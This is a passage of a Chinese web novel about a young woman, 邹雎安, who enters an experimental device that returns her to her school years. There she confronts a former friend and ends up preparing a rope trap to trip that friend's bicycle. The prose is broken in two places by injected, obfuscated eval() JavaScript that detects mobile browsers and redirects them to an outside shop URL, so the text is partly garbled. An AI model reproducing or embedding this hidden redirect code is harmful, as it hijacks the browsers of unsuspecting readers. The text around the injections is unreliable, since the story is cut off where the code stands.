《为她指引,被她所诱》 1. 第一次对视 邹雎安。 能念出她名字的人通常都没什么反应,但看到她名字的人,多数会询问她“雎”字怎么读。 她的解释,就是念出“关关雎鸠,在河之洲”这句诗,因为对方通常会露出一副恍然大悟的表情,理所当然地觉得她的名字与《诗经》有关,便不会进一步询问她名字的含义。 事实,当然没有那么诗意。 她的名字由来相当简单,也相当粗暴。 是她爸邹伟聪委托算命先生取的,名字叫邹居安。 只是她不是个男孩,她妈纪小梅觉得这名字太过男孩气,便和邹伟聪提议换个字吧。 邹伟聪便翻出家中早已封尘的新华字典,找到相同发音的那一页,在看到“雎”字的释义中写着:用于人名。 于是就把“居”换成了“雎”。 这件事是在她成年那天,纪小梅把它当作玩笑说给雎安听的。 雎安听完后,当场脸就垮了,心中的酸涩感几日未退。 因为在她知道成年之前,一直以为自己的名字与《诗经》有关,以为是因她而取,以为是对她的祝福,以为是独属于她的名号。 原来,是她自作多情。 “今天是几号?” 雎安收回思绪,意识到什么,将手里的书本放下,疯狂地往帆布包里塞东西。 “2023年六月六芒种。”纪小梅刚买完菜回家,提着的东西还没放下,迅速回复道:“今天是周二,是你和宋教授约好的日子啊~” 对哦,她今天已经请好假,不是要去上班,而是要去华州大学做小白鼠。 想到这,即使还没出门,雎安的心率一下就上来了。 纯紧张的。 “你说你这么大个人了,脑子里得记点事。说起来,今天我买菜的时候撞见吴珺,她啊,都开奥迪了,还是和以前一样嘴甜,专门和我打招呼,还主动问你的好呢。” “妈,你干嘛又提吴珺啊?我不是说了,我不喜欢她吗?” “你不喜欢,我就不能提吗?”纪小梅声音尖锐,雎安只恨自己的耳朵没有自带屏蔽功能,“你啊,要多学学人家,嘴甜一点,这样去哪都能吃得开,命都好很多啊!” 纪小梅看了眼默不作声的邹伟聪,“至少不要像你妈。” 歪理! 换做别人,雎安不会妄加猜测,但要是吴珺,指不定是想打探她的近况来获得优越和满足感。她妈妈却总是遇见好脸就傻乎乎地贴上去,人家问什么,她就答什么。 雎安一阵头疼。 “说起来,吴珺的妈妈是不是去世了啊?”雎安想起今年二月份的一则新闻。 离她母校很近的那间化妆品工厂,发生了碳酸钡中毒的大案件,造成五死五伤,而死亡名单中,就有吴珺的妈妈,吴穷。 当时华州的媒体都在争相报道案件的最新进展,雎安想不关注都难。 除此之外,那家工厂还是他父亲工作过的地方,她不免会多留意。 “对!”纪小梅突然被点醒,一边将手里的东西放在餐桌上,一边感叹:“好像是......今年的二月底开始,我就没见过她了。虽然我不喜欢吴穷那个人,不过想想,她一个人把吴珺拉扯大,家里又穷,现在吴珺好不容易有了点出息,她人就没了,也是怪可怜的。” 雎安没有回应,火急火燎地收拾好外出要带的东西,又急匆匆地将暂放在客厅的书本搬回房间。 她今天一大早起床,脑子还没清醒,就想着收拾收拾蒙尘的书架,未经思考就把考研的教辅书也给搬了出来。 趁着父母还没注意到,她得赶紧搬回去,不能被他们看见。 见雎安和老公都不搭理她,纪小梅话锋一转,“妈妈买了新鲜的鸡肉,还有你张叔叔家卖的鸡公煲调料,晚上等你回来就有靓菜吃了。” 纪小梅好似在和雎安聊天,其实是在点邹伟聪,“你张叔叔家的鸡公煲店都开第二家分店了,听说是开在嘉源广场。嘉源广场哦,华州市最大的商场!” 闻言,缩着脖子在一旁玩手机的邹伟聪终于有了反应,“那些调料包指不定有多少科技与狠活,少吃点。” 难得邹伟聪的注意力从手机上转移,纪小梅找准时机,赶忙说道:“我好不容易有假,你女儿也在家,该说说你工作的事了。毕竟你都已经窝在家五六年了,再这样下去你就要废了!虽然你一直说不用上班也可以赚钱,可你手头上根本就没钱,家里越来越穷,生活也越来越差。” “再这样下去也不是办法,不如趁着我们家和张风还有点情分,赶紧让他给你介绍份工作。” 所谓情分,其实就是张风在喜多多山庄开第一家鸡公煲店的时候,因为店铺爆火出现了各种各样的问题,忙得焦头烂额,恰巧又逢暑假,就将儿子托付给邹伟聪看管。 说是看管,但人儿子开朗随和,没什么要求,不是学习就是打游戏。再者,张风还给了邹伟聪8000块,不然就邹伟聪这种连雎安的账都要一笔一笔记下来的人,是不可能让其他人来白吃白住的。 “对啊爸,再拖下去,等您到了五十岁,还能去哪找工作?”雎安难得赞同纪小梅的观点,上前附和道:“趁着张叔叔家开新店,您主动联系一下他吧。” 话音刚落。 “砰”一声,邹伟聪宽大有力的手掌砸在木质餐桌上,震得雎安往后退了两步。他像是受到奇耻大辱,脸涨得通红,反驳的内容和往常大差不差,无非是骂纪小梅无能,骂邹雎安没用。 “女儿读到初三,你才出来工作,难道不是我在养你们吗?现在我在家赚钱,你们就这么看不惯,意见就这么大?!” 邹伟聪手指着雎安,像是看着世仇,“还有你!读那么多书,就在一家小公司打工,一个月就赚那四五千。之前让你再多考几十分,让你去读华州师范,让你去做老师,你做成了没?!” 估摸着有三四十回了吧,每次一说到找工作,失业五六年的邹伟聪就会口无遮拦地破口大骂。 雎安一直觉得父亲是受了什么刺激,才会这么抵触外出工作,刚开始她都是语气柔和地询问开导,可被攻击的次数多了,她也就没了耐心。 最终,在邹伟聪歇斯底里的指责声和纪小梅怒不可遏的怨怼声中,她擦掉额前的细汗,赶紧把所有书本搬回房间,离开了这个让她感到窒息的家。 今天是她第一次参加宋教授的实验,而且是危险性存疑的实验,但好像没有谁在乎她。 雎安透过车窗看了一路不熟悉的街景,试图摆脱坏情绪对她的影响。 可她失败了。 直到华州大学四个大字出现,她才像被唤醒般将身体往前倾,做出准备下车的动作。 华州大学,一所她向往却考不上的大学,也是华州唯一一所985院校。 工龄两年的她,特地翻出大学时期买的牛仔背带裙,背上新买的白色帆布包,搭配一双高帮帆布鞋,倒是学生气十足。 准备这套行头的时候,她也说不出是什么心理。 可能就是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别了吧,你这么早去,除了烦烦雨姐,还能做什么?”宋挚调侃,面上有了淡淡的笑意。 雎安乖巧地跟在他们身后,也不知是不是她的错觉,宋挚说起雨姐的时候,往她身上瞥了一眼。 这一路,两人都有说有笑,话题主要还是围绕课业。 宋挚明显不是物理系的学生,但感觉对物理系的课业知识十分精通。不过也可能人家只是粗浅地知道些皮毛,自己是菜鸟所以听不出来。 除此之外,雎安还注意到宋挚的手腕上也戴着红绳,想来是本命年,和她同岁。 他戴的款式很老旧,而且编得并不好,应该是个手笨的人编来送给他的。 等到了物理系的实验楼下,张百星才想起还有一个跟屁虫的存在,“不好意思,我把你给忘了。” 此时,雎安面上的红晕已经消退,“没关系,谢谢你们。只要到物理系就行,我可以找到地方。” 张百星挥挥手,道:“小事而已,帮人帮到底。你去哪?我们给你指个方向。” “我要去409。”雎安并不想在偌大的教学楼里兜圈,“找宋言林,宋教授。” 话音刚落,雎安就感受到谁的视线。 她微微侧身,发现是宋挚正直勾勾地看着她。 风吹起他额前的碎发,由此让她更为清晰地看清他的黑眸,眸底宛如平静的湖面,没有丝毫涟漪。 2. 冷酷是冷酷,礼貌也是真礼貌。 晋江文学城 雎安很难描绘出那种感觉。 因为有些羞耻。 她觉得,她对他一见钟情了。 刚刚对上眼的时候,她的心跳得飞快,大脑宕机,身体像是被魔法定住了一样,待他平静地转过身,大脑已经自动幻想下一步的接触了。 她甚至觉得他们曾见过,兴许只是一面,所以她脑中只留下了模糊的印象。 只是,她绝不可能开口说什么,“你好,我们是不是在哪见过?” 要是说了,她会抽自己两巴掌。 因为过于尴尬。 雎安的思绪被敲门声打断。 张百星走在最前面,敲门的就是他。紧跟其后的是宋挚,而宋挚的身后是略显拘束的雎安。 宋言林看着推门而入的三人,微微一愣,“你们在哪碰到的?” 张百星看了眼正在关门的雎安,“校道上碰见的,她找不到物理系在哪,我带她来的路上又刚好碰见宋挚。” 发觉宋挚有意避开和他的视线接触,宋言林直接问他:“你不用上课?” “请假了。” “来这,你也帮不上忙。” “无所谓,我就爱看。” 两人讲话的语气都很冷。 由此,雎安却更加肯定心中的猜想。 都姓宋,而且是这样的相处模式,十有八九是一对父子。 见没人接话,雎安杵在一旁,干脆主动开口介绍自己:“大家好,我叫邹雎安,关关雎鸠的雎,平安的安,请大家多多关照。” “以后雎安会常来,大家都自我介绍一下。”宋言林补充道。 “那我先来,毕竟来的路上都忘记介绍一下自己了。我叫张百星,一百的百,星辰的星。目前在读研二。”张百星一边说一边嘿嘿地笑,也是不想教授尴尬。 雎安笑着点头,再次表示感谢,“刚刚真的谢谢你。” “随手的事儿。” “我,我叫吴曼菲,在读研一,也是这个实验组的成员。” 吴曼菲将手举得高高的,方便邹雎安认人,明显是个性格活泼、外向开朗的女生。 “我叫陈思雨,在读研二,欢迎你参加实验,以后有问题可以找我。” 不亏是雨姐,果然很飒。 雎安看着眼前这个冷面的高个子女生,明明和其他同学穿着一样的白大褂,却给她一种教授级别的靠谱感。 角落里的男生见实验组成员里就剩自己没有介绍,先是扶了扶眼镜,又扯了扯衣角,才从座位上站起来,视线聚焦在雎安的运动鞋上,“我叫廖学文,在读研一,多多关照。” 这位看起来就腼腆得多,雎安一边默记人名一边回应。 最后,雎安转头看向宋挚时,发现他靠在柜子上看着不远处的装置,不打算出声的样子。 “我叫宋挚,过来参观的。” 宋挚突然扭过头看向雎安,简短的一句话,她却对他大为改观。 这人冷酷是冷酷,礼貌也是真礼貌。 “好了,自我介绍就到此为止,大家各司其职。百星,你负责带领大家再一次确认装置的状态。思雨,你把注意事项拿来,和雎安重点说说。” 宋言林开了口,大家便不再将注意力放在邹雎安身上。只有陈思雨按宋言林的意思,拿着打印好的文件向她走来。 雨姐得有一米七吧,雎安发现自己竟要微仰着头看她的时候,不免感叹。 “雎安。”陈思雨靠近她,指着注意事项的第一点,说道:“这是最重要的一点,过去已经是过去,装置能带你身临其境再走一遍走过的路,也可以让你体验不同选择下的新人生。但那不是真的,不是现实,不能沉浸在里面。” “装置发生的事不会改变现实,所以如果发生了什么不好的事也不用怕。反正,都不是真的。” 雎安点了点头,示意自己听清楚了,同时接过陈思雨递来的文件。 其实,这些宋言林都和她说过,强调的也是“不是真的”这四个字。 所以,她大胆猜测,兴许是过往有实验者沉浸于过去、不愿回归现实生活之类的事发生。 只是,她回想自己的人生路,实在没有什么是值得她放弃当下,过往和现在都是很平淡的生活。 待一切就绪,雎安已经将注意事项全部读完,但进装置前,难免还是会忐忑不安。 于是,她拉着陈思雨的手,问道:“我今年24,我们应该是同龄吧?” 陈思雨摇头,“我比你大一岁。” “那我叫你雨姐,可以吗?” “可以。” 兴许是感受到雎安抓她衣袖的力度异常得紧,陈思雨抬手,将她的手放在雎安的手背上。 雎安被这个举动暖到,明明只是陌生人,却能察觉到她的情绪,也愿意给予她些微的支持。 “其实我很好奇。”犹豫片刻,雎安还是开了口。“实验最糟糕的结果是什么啊?” 闻言,陈思雨无意识地加重了手上的力度,雎安的手掌有了血液流通不畅的不适感。 “其实很多事都是教授拿主意,我们也不清楚。不过有一点可以肯定,实验不是绝对安全的。” 陈思雨的声音压得很低,应是不想有第三人听见。 “不对劲的话,你就退出。” ———————— 装置的外形像极科幻片里常见的太空胶囊床,外观和内饰都是冷白色,雎安从左侧进入内舱后,舱门会自动关闭,右侧便变成了透明窗。 由此,她可以看见舱外的人。 然而,装置启动后,周身陷入伸手不见五指的黑暗,失重感骤然袭来,且越来越强烈,一会儿仿佛置身于通往百层高楼的极速电梯,一会儿仿佛处在波涛大浪中的模型小船,恐惧和不安包裹着她,让她不自觉地绷直身体。 此刻,她觉得自己既像一把正被掰折的直尺,又像一根形如残月的弓弦,随时就会断裂。 这种状态不知持续了多久,直至她看到一个透光的球体将她猛地吸进去,强光令她不得不眯着眼睛,模糊的光影一一从身边闪过。 景象清晰的瞬间,她和穿着初中校服的女生对视了。 ———————— “啊嚏!” 针落可知的环境下,众人被吓得倒吸一口凉气。 实验室的冷气很足,宋挚是唯一没穿白大褂的。 他不好意思地摸摸鼻子,避开他人的视线,假装无事发生。 期间,雎安完成了第一次实验。 这是雎安第一次参加实验,实验时间设置的很短,仅有两小时。 午餐时间,实验室一行人来到附近的第三食堂吃火锅。 由宋言林请客。 回来后的雎安十分亢奋,餐桌上,不停地和大家分享回到初高中时期的神奇感受。 张百星和吴曼菲作为捧场王,自然不会让她的话落地。 陈思雨虽然没有给予语言上的回应,但她始终面带微笑地听她讲,偶尔会点点头,像个和蔼的长辈。 廖学文则是面无表情地咀嚼着,以他认真的模样,雎安还以为他是在听课。 事实是,他确实在提取雎安话中有用的信息点,打算回去以后,好好分析一番。 至于雎安,分享欲爆棚的同时,也有在克制自己。 新奇的体验让她的肾上腺素飙升,但她的理智尚存,为了避免麻烦,刻意隐去了一部分内容。 她不是有意隐瞒,更不敢如此。 只是,她隐去的那部分内容和宋挚有关,情节实在难以启齿。 而且,故事的男主角就在现场啊! 她要是说了,宋挚指不定会觉得她是在编些离谱的故事来吸引他的注意力,宋教授则有可能会觉得是她精神错乱了。 雎安轻咬下唇,忍得住不多嘴,却忍不住打量宋挚和宋言林。 此刻,宋言林听着实验室众人互相打趣的玩笑话,因实验而紧绷的神经放松了下来,倒是没注意到雎安的视线。 可宋挚却极其敏锐,似乎任何喧闹和惊扰都无法影响他,在雎安假装无意地看向廖学文,再转而看向他的瞬间,他便捕捉到了她的视线。 四目相对。 雎安愣了两秒,猛地移开视线。 太不自然了,还不如朝他笑一笑呢。 雎安事后懊悔,极其不自然地扭过头去,用浓密的长发遮住自己的侧脸。 只是,她面上可以装作不在意,可以装出镇定自若的样子,大脑却尊崇本心,一直在猜测宋挚对她偷瞄行为的看法,始终无法听进桌上其他人谈论的新话题。 “雎安,你为什么会来参加实验?”陈思雨放下筷子,询问时,表情十分认真,“是为了弥补什么遗憾吗?” “为什么会这么问?”张百星嘴里嚼着牛肉,口齿不清地问道。 吴曼菲轻挑眉尾,得意地抢答道:“毕竟是有危险的实验啊,总得有理由吧。” 闻言,张百星迅速瞥了眼宋教授,也不知是吃火锅热的,还是因为吴曼菲的话,他的手心瞬间布满了细汗。 “其实......我来参加实验,确实是有特别的原因。” 雎安话音刚落,夹菜的、聊天的、低头发呆的,所有人都将注意力转移到雎安身上,包括宋挚和宋言林。 “我有两个想要见的人,有两个想问的问题。” “谁啊?”吴曼菲毫无顾忌地问出口。 雎安笑着,神情却是说不出的落寞,“一个是我过世的初中班主任。还有一个,是再也不会是我朋友的......过去的朋友。” 这回,就算是傻子也能觉察到当下的话题走向过于敏感,已经触犯到雎安的隐私了。 没有人再细问,哪怕是最八卦的吴曼菲也识趣地转移话题。 小插曲并没能影响聚餐的氛围,好的开端让整个实验组都被快乐笼罩着。 连落座在角落,一直沉默不语的宋挚,嘴角都时常擎着笑。 只有宋言林的态度不咸不淡,话也不多。 午餐结束后,宋言林让雎安去实验室的躺椅上午休,而后再进行四小时的实验。 虽然因为兴奋,雎安根本睡不着,但闭目小憩后,人精神了许多,神经得到了放松。原本因为陌生的记忆而感到困惑和眩晕的头脑,也逐渐变得清晰。 实验开始前,她鼓起勇气,一直在找机会,想和宋言林细说装置里发生的怪事,以及脑海中那些奇怪的记忆。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903025|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋言林非常忙,一直在指导学生,他们唯一的单独对话,还是在众人面前,他直接问她,是否能按他设置的时间和程序走完这一次实验。 雎安想,反正她想做的事都做了,想见的人也都见完了,接下来自然是乖乖配合实验,不然,她凭什么拿那么多钱呢? “没问题,我都行,教授你来定吧。” 宋言林随即道:“那就好。我估算过装置内的时间。现实的一小时,约等于装置里两天的时间。第一次实验你太着急了。两小时的实验,在里边也不过四天,你就从初一跳到了高三,我担心你会因此意识混乱。” 意识混乱?! 雎安吓一大跳。 宋言林皱着眉头,表情严肃,“实验急不得,安全第一位。以后的实验,除非我们要求,否则你不可以这么做。” “好,我记住了。” 雎安面色沉重地应答,随后,她回想起装置里的场景,慢慢低下头,说出自己真实感受,“我不知道会这样,只是感觉在里边一切都挺好的。很多时候是快起来反而好,慢下来,反而有点分不清是装置、还是现实。” “没事的,你别被吓到了,就当作是在玩AR实景游戏就行。” 宋言林的语气很快便柔和下来,好像生怕她会因此放弃,拉着雎安到实验室的角落,安抚道:“一开始是需要时间适应,你要相信我们。而且,当初我邀请你来,不也和你说过利弊吗?难得有这样的一个机会,你可以弥补遗憾,可以回去尝试已经错过的校园恋爱,不是很好吗?” 雎安顿时囧到不行。 当初,宋言林找到想要周末兼职的她,和她说了实验的事、以及能获得高额报酬。 她的第一反应,遇到骗子了! 谁知宋言林锲而不舍,还想方设法地联系雎安的父母说明了情况,将身份证和学校开出的一系列证明发过来,以供他们查验。 最重要的是,他开出的报酬比雎安工作两年的薪水还要多! 雎安父母的态度很快就松动了,她却因此苦恼,害怕父母被金钱冲昏头脑,害怕这披着高薪外皮的实验是地狱般的狼牙陷阱。 “其实,我不是随便选的人,在选择你作为实验对象之前,我有调查过你。” 宋言林直言不讳:“你的家庭条件不好,父母也不开明,能一路走到现在,还成长为一个内心善良且坚韧的人,抗压能力和自我调节能力肯定很强。” “这就是我坚持,要由你来参加实验的原因。” “我......内心善良坚韧?” 从来没有人这样评价过她,就好像有人突然将她从低矮的平地托举到上千米的高空,雎安感到别扭的同时,忍不住反问出声。 “是的,我查到你曾在高中受过表彰,原因是在地震中救下了一名腿脚不便的学生。在急剧紧张的环境下,你随时可能丢失性命,还会去帮助别人,难道这还不算善良坚韧吗?” 高中到现在,少说也有六年时间。 宋言林不提这事,雎安都快忘记了。 “说实话,我看得出你父母是怎样的人,你能成长为现在这个样子,需要很大的决心,需要敢于反抗的勇气。你一定为此付出了很多,所以我很欣赏你。” 说完,兴许是觉得自己含沙射影的话着实无礼,宋言林赶忙补充道:“抱歉,我是觉得你的父母自私自利,但这是人的一种特质,并不是在骂他们。” 就是因为这段话,雎安的态度动摇了。 最终,宋言林用了近一个月的时候,前后找了她六次,每次都以真诚有礼的态度询问她的想法,这才彻底打动了她。 而她,也向宋言林坦言了自己的顾虑和想法。其中就包括,她遗憾于没能在大学谈一场恋爱的事。 宋言林还在笑,笑容中带着长辈看小辈时的慈爱。只是,清瘦的脸和浓重的黑眼圈衬得他的笑容有些憔悴,缺少一股精气神。 雎安的脸颊早已染上绯色的红晕,别扭地回头确认是否有其他人听到宋言林的话。 幸好没有人注意他们。 她暗自庆幸,蓦地松了口气。 只是,雎安万万没想到,宋言林会被她探头探脑的动作逗得放声大笑,实验室众人会因此而好奇地看了过来。 见状,雎安猛地一缩脖子,背过身去,好似乌龟缩壳。 最后,直至雎安再次进入装置,脸上仍有未退的红晕。 ———— 本来轻松的氛围在雎安没有回应的那刻彻底消失。 张百星心如鹿撞,坐在操控台前的他第三次看向宋言林,“教授,已经超一分钟了,三次呼叫都没有成功,要尝试电击吗?” 宋言林双手交叉于胸前,站姿僵硬,“立刻电击!” 装置面向实验人员一侧开启透明窗,众人都知道电流并不强,雎安却是被电的猛地坐起,额头布满细细密密的汗珠。 她伸手触碰自己的胸口,感受着胸腔一呼一吸之间产生的实感。不知过了多久,胸腔的压迫窒息感消失,呼吸节奏也愈发平稳,她抬眼去看透明窗。 那有一个人,正静静地看着她。 她确定,就是那面湖。 幽深沉静的死水终日平整如镜,纵未风吹也因她荡起万千涟漪。 3. 她不是什么好人 二零一二年九月。 邹雎安和一个身着华州市第八中学初中部校服的女生对视了。 她盯着女生的脸看了许久,才想起这是自己初二时的同桌,唐萍。 “你是睡懵了吗?”唐萍觉得她好奇怪。 雎安扯出一个笑,“有点,我先缓缓。” 环顾四周,简直真实得令人毛骨悚然。 雎安也玩过VR实景,但此时此刻的感觉,这种骇人的真实感是前所未有的。 她站起来观察教室的一桌一椅,同学们交谈时面上的神情变化,甚至连课间休息时间就睡趴一片的情形都熟悉得令她热泪盈眶。 她惊奇地发现,比起时空穿越般神奇,自己更讶异于被场景突然唤醒的记忆,原以为忘记了便一辈子都消散的记忆,竟然真如《千与千寻》中的钱婆婆所说:“曾经发生过的事不可能会忘记,只是一时想不起罢了。” 发生过的事是真实存在的,不会因为忘记而销存。 见雎安行为举止怪异,又突然抹起眼泪,唐萍扯扯她的衣角,说道:“别哭了,你是为运动会的事难过吗?” “啊?” “就是后天的运动会啊,你要跑50米和800米。你忘记啦?我以为你在为这件事难过。” 运动会,跑步,她难过。 雎安成功扑捉到关键词。 这时的她,刚被硬推着去参加八百米长跑,因为没有人愿意去,而她又是全班票选的班长,老师说她有义务起到带头作用。 运动神经很差的她,会在两天后的50米比赛中扭伤脚,还被送到医院治疗。 因为刺骨的疼痛,所以她记忆深刻, 除去身上的疼痛,雎安深深地记得,返回学校的那天,拄着拐的她被一个小团体笑话和讥讽,说她是运动废柴”,说她是个瘸子。 要是雎安发怒,她们很会一脸无辜地说:“不会吧,班长,这点玩笑都开不起吗?有什么好生气的?” 这气人的小团体里,就有她曾认为是她好朋友的朋友,吴珺。 而这吴珺,就是她想见的人,也是她进装置的原因之一。 虽然在现实中,吴珺并没有去世,雎安其实可以不用在装置里找她,直接在现实中质问她。 但雎安不想那样,因为事情已经过去十几年,她突然跑到人家面前算旧账,吴珺又是个极圆滑的人,很可能会装不知道,也可能会倒打一耙,跑到雎安父母面前告状。 至于吴珺为什么要害她,雎安猜想,和她班长的身份有关。 当初她竞选班长,完全是一时冲动,她能成功,确实是出乎了所有人的意料。 后来她总结原因,得出的结论是:一是她竞选时不怯场且声音洪亮。二是她形象佳且看起来好拿捏,同学们比较想选好沟通的班长。三是班主任看中乖乖女内里的她,觉得她不会做出格的事。 成为班长后,她自然会得到很多关注,吴珺对她的态度便有了变化。 这次运动会,雎安以十一年阅历的差距,将班内事务安排的井井有条,而后,她扭转左手手腕三次,操作页面出现,按唐萍告诉她的日期,选择去到因短跑比赛受伤的那天。 这回,她没有再逞强,不再勉强自己拿个好名次,选择了缓慢地奔跑。 “吴珺。” 比赛结束后,雎安直接在人群中叫住吴珺,“我有事找你。” 小团体里的其他人和看戏的同学齐齐回头,视线在两人身上来回,面露期待地看着她们。 雎安当然不会给他们看戏的机会。 在教学楼去往单车房的路上,有一处存放体育器材的僻静处,雎安将吴珺带到了那里。 “之前你约我在家附近的公园玩游戏,后面却来了个流浪汉,是你引来的吧。” 雎安没有废话,选择单刀直入。 闻言,吴珺瞬间变了脸色。雎安突然提起这件事,完全在她的意料之外。 她情绪激动地回呛:“你在胡说什么啊?!什么流浪汉?我根本就不知道。你怎么上来就血口喷人!” “哦?”雎安冷笑一声,嘲讽道:“那你为什么突然疏远我?还带动其他人一起针对我,先是不配合运动会的安排,然后又污蔑我告状,说是我把男生们在校外骑死飞的事告诉班主任的。” 今天,雎安一改往日瞻前顾后的行事风格,直接将话挑明的霸气行径让吴珺很不适应。 因为心虚,她的心中早已如雷鼓鸣,但她绝不允许自己在气势上输雎安一头。 “你问我?你怎么不想想你自己的问题?当班长前,你不过是个声都不常出的人。当班长后就在班里成天嚷嚷,自视甚高。我不配合你,是因为你安排得不好。告状的事说是你也不冤,男生们莫名其妙地被教导主任在校外蹲点,你敢说你作为班长,没和班主任打过小报告?” 雎安并不理会她的质问,也没有因此思维混乱,这种受害者有罪的自证陷阱,她不会去踩。 “所以你承认了。” “你看不惯我,是因为嫉妒我。嫉妒我曾经跟在你身后,现在却是站在你身前的存在。” 雎安越说,咬字越用力,隐约能听见上下牙间摩擦的声音。 “小打小闹也就算了,当你是青春期的毛病。但是流浪汉那件事,你真的太过分!” “那天你约我去公园,原本一起的四五个女生都说要去吃冰淇淋。我因为咳嗽吃不了,你就让我坐在小亭子里等你们。没过两分钟,一个流浪汉突然就从背后抱住我,要不是我挣脱掉的话,你知道会怎样吗?” 雎安攥紧拳头,猛地向前一步,两人的鼻尖瞬间只有一指距离。 “我被抱住的时候,明明一直在呼救!可根本没有人来帮我。我以为是你们走远了,可我跑开以后,发现你们就在附近。” 午夜梦回。 雎安的梦魇,不是那带着腐臭味的环抱,而是那几张人畜无害的少女面孔,明明看起来那般天真美丽,可她们面上嘲意的笑容,那看笑话的姿态,如同困兽锐利的爪牙,反复地刮划着她脆弱的心脏,让她数次惊醒于黑夜。 “我们是在附近,可那又怎样?”吴珺眼神躲闪,声调却又高了几分,“是你自己倒霉碰到了流浪汉,现在算我头上?” 如此激烈的对峙,以吴珺泼辣圆滑的个性,竟不敢直视她的眼睛,雎安确信她诈对了。 “怎么这么可笑,就因为嫉妒我,做这样的蠢事,现在还敢做不敢认?” 吴珺早已脸颊通红,被激得戾气暴起,“屁!我嫉妒你?我嫉妒你什么?嫉妒你穷,还是嫉妒你脑子笨?我看你是犯贱,你有证据吗?我还没说你污蔑我呢,像你这种人,我干嘛要帮你?!” 破口大骂后,吴珺觉得远远不够解气,急切地想要发泄胸腔那簇怒火。 她迫使自己冷静,怒瞪雎安的同时,脑子飞速运转,倏地想起前几日,她妈吴穷收看的华州新闻报道。 一名少年犯杀人分尸,因为不满14岁,不过是去几趟法院,由父母和警方简单教育,再由管教所进行教育改造。 这种力度的惩罚,和剥夺人生命的恶行相比,太轻太轻。 由此,引发社会众人的强烈不满,请求法院重判,在网上闹得沸沸扬扬。 而她的行为,可比杀人罪轻多了。 就算她承认了,雎安又能如何? 于她而言,这件事根本无法对她的美好未来构成威胁。 思及此,吴珺没有了顾虑。 她上前一步,似笑非笑,语带嗔怪,“是我引来的流浪汉,可那又怎样?我只是告诉他,亭子那有个小妹妹在等你,就算你出事了,那也是他干的,不是我让他干的。而且,你有本事在这里吼我,还不如直接报警呢。你为什么不报警啊?是怕人知道吗?哈哈,也是哦,报警的话,大家不都知道你差点在公园被强了。然后传着传着,就变成,你就是被强了!” 此刻的吴珺笑靥如花,语气温软,可说出的话却让人毛骨悚然。 “怎么样?你不爽的话,就报警呗~” 分不清是惊惧使然,还是怒火所致,雎安被呛得不发一言,直接转身离开。 吴珺在身后吼她,嘲笑她,她也充耳不闻。 雎安面色冷然地走至转角处,意外发现几个躲在墙后看热闹的同学。他们面露尴尬,看向雎安的眼神有好奇,也有同情。雎安一句话也没说,一个眼神也没多给,选择了无视。 她觉得,她已经得到了一个确切的答案,一个符合她心中猜想,且绝不可能从成年后的吴珺嘴里问出来的答案。 既然已经达成所愿,那就不必再做无谓的争吵。 她需要做的,是在未来提防吴珺再使坏,提防和吴珺相似的人,必要时,给予反击。而不是现在,在这动手教训吴珺,告诉她这是有违道德和良善的行为。 可,她真的甘心吗? 在这次质问前,雎安对吴珺是否有意为之,其实是心存疑惑的。 加上吴珺很讨长辈们的喜欢,而她的妈妈纪小梅就是其中之一,她和吴珺又曾是亲密无间的朋友。 这就是导致她没办法轻易和吴珺撕破脸,也没有勇气去质问吴珺的原因,因为她害怕吴珺的巧舌如簧,怕吴珺会颠倒是非,怕吴珺让那群女生来作证,以此来反咬她一口。 于是,雎安开始反复地想。 一会儿觉得吴珺哪至于做 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而这教导却已经深深地印在雎安的潜意识里,留她一身怯懦。 真可悲,真可笑。 凭什么这种缺德的事吴珺可以做,她邹雎安就要装作无所谓地离开。 她明明就在意,明明很想一巴掌挥在吴珺的脸上,可她却什么都没做。 她想,总有一天,她会变得和邹伟聪一样癫狂。 既然如此,与其等情绪堆积到彻底失控,不如......就现在吧! 雎安停下脚步,抬眸看着校门口那些飞驰而过的身影,一个疯狂的想法占据了她的头脑。 她和吴珺住在一个小区,回家的路是相同的。 那么,这就意味着吴珺必然得骑车经过天心农贸市场前的小道,而那的空间足够逼仄,小道对面还有一条暗巷。 曾有一次,她回家的时候隐约看到暗巷里有一个黑影,他用和水泥砖颜色相近的细绳做陷阱,在目标出现的前一刻抬高手臂,随即拉直绳索,由此绊倒了班里的两个小霸王。 当时,要不是小霸王们车速不快,脚蹬地,刹住了车,势必会摔得头破血流。 她想,这作为对吴珺的报复,杀伤力足够了。 二零一二年九月二十八号,星期五。 这是雎安和吴珺对质后的第一天,也是运动会的最后一天。 雎安站在满是苔藓的暗巷里,握着刚从五金店买来的灰白色尼龙绳,在小卖部老板去上厕所的空挡,将绳子的一端绑在岗亭斜侧下方的石柱上。 待一切准备就绪,剩下的,便是蹲守,便是等待。 雎安深吸口气,攥着另一端绳索的手已经微微出汗。她看着手中的绳索,仿佛它不是个死物,而是条蠕动着的白蛇。她明明害怕,明明知道它淬着毒,可还是没有松手。 每当有一辆单车路过,她的心就会顿一下,握绳的手也会跟着收紧。 不时,她会猛地回头看看背后。 不知是心虚,还是暗巷里的风就是如此,她总觉得背后有一双眼睛在观察她,总觉得有一阵凉意随她的目光而来,让她鸡皮疙瘩突起。 一下,两下,三下...... 她的耳边不断地有“咚咚、咚咚”的声音,声音大得就好像心脏被什么人掏了出来,放在她的耳边给她听。 她太紧张了,紧张得额前冷汗直冒,牙关都在打颤,随时都有可能会抛绳而去。 算了吧! 她不是害人的料。 雎安往后退一步,就快要打响退堂鼓的那一瞬,吴珺和朋友的道别声伴着“叮铃铃”的车铃声而来。 吴珺来了! 命运般的,吴珺和她的朋友在前一个岔路口分开了。也就是说,雎安不用担心伤及无辜。 